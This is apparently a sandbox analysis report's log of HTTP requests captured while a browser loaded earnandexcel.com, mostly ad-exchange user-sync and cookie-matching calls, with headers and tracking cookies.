Source: global traffic	HTTP traffic detected: GET /sync?ssp=gumgum2&user_id=u_a4cb566c-d29c-481c-82f5-d657255d141b&gdpr=&gdpr_consent=&us_privacy=1--- HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usermatchredir?cb=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3DindexExchange%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D&s=193478&C=1 HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=ZhhVo0t3uSsAAHTnAOvF5wAA; CMPS=020; CMPRO=020
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=pulsepoint&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=8CYd5xB94ljT&ev=3a6574e0-f84a-11ee-a9d1-333cefc92741&pid=562036 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/141?gdpr=0&gdpr_consent= HTTP/1.1Host: match.deepintent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&bundle=AgxCM19OMTU3WG1Nak5XeHJCS1Q0ejlLWVFuJTJCdm1Uc0E3R0diSUJwQTJEZHBqSDJpTWVraU9wMnA2NW9sbHlhejNUUmRIQXB0VDhyN0Y4OEcyTWpGVW1jNVN6b2Rqb3NJU1VEWmpya2ZSY1pVQkZNUm1ScEdkVmRxclRkTlZjSyUyQjBVaEE&lsw=1&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1Host: gum.criteo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/gumgum/?puid=u_a4cb566c-d29c-481c-82f5-d657255d141b&gdpr=&gdpr_consent=&us_privacy=1---&cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__ HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=yieldmo&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=VcFrT9hNNrhKI_SoFwed&gdpr=&gdpr_consent=&us_privacy=1--- HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /sync?nid=1&gdpr=&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/gumgum?gdpr=&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=8 HTTP/1.1Host: ssbsync.smartadserver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X HTTP/1.1Host: de.tynt.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=chicory&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=AAJv6k7MMKsAABU-q1DFIA HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Pivot-Tables-1-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
Source: global traffic	HTTP traffic detected: GET /d/sync/cookie/generic?partner=gumgum&cspid=9&append=1&cb=${ADELPHIC_CACHE_BUSTER}&gdpr=&gdpr_consent=&us_privacy=1---&redirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dvnt%26i%3D HTTP/1.1Host: sync.ipredictive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Excel-MI-Dashboards-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=gumgum_dbm&google_hm=dV9hNGNiNTY2Yy1kMjljLTQ4MWMtODJmNS1kNjU3MjU1ZDE0MWI=&gdpr=&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pmeb&google_sc=1&google_hm=JflUnhNqR-mRcdpEwODV4w%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1Host: match.deepintent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_hm=MjVGOTU0OUUtMTM2QS00N0U5LTkxNzEtREE0NEMwRTBENUUz&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Power-BI-Advanced-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
